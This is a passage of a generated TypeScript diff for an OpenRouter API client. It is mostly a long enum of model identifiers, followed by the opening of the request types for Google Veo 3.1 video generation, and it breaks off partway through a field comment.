'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosGoogleVeo31RequestModelEnumKey = + (typeof openrouterPostVideosGoogleVeo31RequestModelEnum)[keyof typeof openrouterPostVideosGoogleVeo31RequestModelEnum] + +export const openrouterPostVideosGoogleVeo31RequestResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '4K': '4K', +} as const + +export type OpenrouterPostVideosGoogleVeo31RequestResolutionEnumKey = + (typeof openrouterPostVideosGoogleVeo31RequestResolutionEnum)[keyof typeof openrouterPostVideosGoogleVeo31RequestResolutionEnum] + +export const openrouterPostVideosGoogleVeo31RequestSizeEnum = { + '1280x720': '1280x720', + '1080x1920': '1080x1920', + '1920x1080': '1920x1080', + '720x1280': '720x1280', + '3840x2160': '3840x2160', + '2160x3840': '2160x3840', +} as const + +export type OpenrouterPostVideosGoogleVeo31RequestSizeEnumKey = + (typeof openrouterPostVideosGoogleVeo31RequestSizeEnum)[keyof typeof openrouterPostVideosGoogleVeo31RequestSizeEnum] + +/** + * @description Google: Veo 3.1 (google/veo-3.1) — model-constrained video generation request. Google's state-of-the-art video generation model, built for maximum visual fidelity in final production cuts. Veo 3.1 generates high-quality 1080p video from text or image prompts with native synchronized audio —... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosGoogleVeo31Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosGoogleVeo31RequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosGoogleVeo31RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * 